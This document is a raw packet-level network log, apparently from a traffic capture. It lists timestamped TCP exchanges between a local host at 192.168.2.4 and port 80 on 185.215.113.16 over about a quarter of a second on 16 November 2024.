Nov 16, 2024 04:33:25.873347044 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.873539925 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.878766060 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.878782988 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.878798008 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.878900051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.878915071 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.878930092 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.878950119 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.878964901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.879024982 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.879024982 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.879024982 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.879055977 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.880290985 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.880368948 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.880384922 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.880399942 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.880414963 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.880429983 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.880434036 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.880434036 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.880521059 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.932405949 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.932425022 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.932451963 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.932463884 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.932468891 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.932491064 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.932498932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.932662010 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.932662010 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.953706026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.953727007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.953743935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.953759909 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954185963 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954207897 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954225063 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954241991 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954257965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954273939 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954289913 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954303026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954318047 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954334974 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954349041 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954366922 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954384089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954400063 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.954449892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.954449892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.954449892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.954449892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.954449892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.954449892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.954449892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.954449892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.954487085 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.988432884 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.988454103 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.988468885 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.988594055 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.988848925 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.988867998 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.988905907 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.988929987 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.988945007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.988960981 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.988976002 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989012957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989052057 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989082098 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989095926 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989110947 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989142895 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989175081 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989191055 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989206076 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989223003 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989237070 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989253044 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989269018 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989303112 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989310026 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989310026 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989310026 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989310026 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989310026 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989310026 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989310026 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989331961 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989331961 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989337921 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989360094 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989386082 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989420891 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989434958 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989449978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989465952 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989471912 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989471912 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989471912 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989500999 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989501953 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989518881 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989543915 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989559889 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989598036 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989598989 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989614964 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989665031 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989666939 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989680052 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989695072 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989727974 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989742994 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989762068 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989762068 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989768982 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989783049 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989808083 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989824057 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989837885 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989854097 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989872932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989892960 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989892960 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989892960 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989905119 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989921093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989948988 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989969969 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.989983082 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989983082 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.989984989 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990001917 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990003109 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.990017891 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990034103 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990088940 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990103960 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990118980 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990134001 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990150928 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990166903 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990180969 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990195990 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990199089 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.990200043 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.990200043 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.990200043 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.990214109 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990230083 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990246058 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990262032 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990278006 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990292072 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990308046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.990309954 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.990309954 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.990309954 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.990411043 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.990411043 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.994726896 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:25.999877930 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.999907970 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.999924898 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.999939919 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.999954939 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.999969006 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.999984026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:25.999999046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000015020 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000029087 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000044107 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000060081 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000076056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000091076 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000106096 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000119925 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000133991 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000148058 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000163078 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000179052 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000195026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000204086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.000204086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.000204086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.000204086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.000204086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.000204086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.000204086 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.000211954 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000228882 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000231981 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.000245094 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.000341892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.000341892 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.022804976 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.049866915 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.049890041 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.049906015 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.049921036 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.049937010 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.049952030 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.049967051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.049982071 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.050822020 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.050822020 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.070863962 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.070878983 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.070894957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.070909977 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.070923090 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.070936918 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.070950985 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.070966005 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.070970058 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.070982933 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.070998907 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071014881 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071039915 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071039915 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.071039915 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.071039915 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.071083069 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071118116 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071134090 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071147919 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071163893 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071202993 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.071202993 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.071202993 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.071803093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071816921 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071835041 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.071850061 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.072033882 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.105463982 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105482101 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105508089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105524063 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105614901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105628967 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105643988 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105659008 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105674028 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105694056 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.105694056 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.105750084 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105777025 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.105801105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105825901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105840921 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105848074 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.105858088 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105895996 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105925083 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.105932951 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105957031 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105979919 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.105995893 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106013060 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106013060 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106013060 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106057882 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106074095 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106087923 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106126070 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106141090 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106141090 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106141090 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106153965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106230021 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106261015 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106271982 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106278896 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106302977 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106313944 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106328964 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106338024 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106338978 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106344938 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106353998 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106362104 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106369019 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106427908 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106436968 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106458902 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106475115 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106489897 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106504917 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106519938 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106520891 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106570005 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106574059 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106585026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106631994 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106647015 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106662989 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106684923 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106738091 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106738091 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106769085 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106784105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106810093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106837988 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106878042 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.106879950 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106900930 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106940031 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106955051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.106971025 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107013941 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107029915 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107053995 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107086897 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107096910 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.107096910 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.107096910 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.107104063 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107124090 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107201099 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107212067 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.107212067 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.107237101 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107261896 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107278109 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107292891 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107310057 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107336998 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107343912 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.107368946 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.107381105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107407093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107424021 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107439995 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.107486010 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.107486010 CET	49742	80	192.168.2.4	185.215.113.16
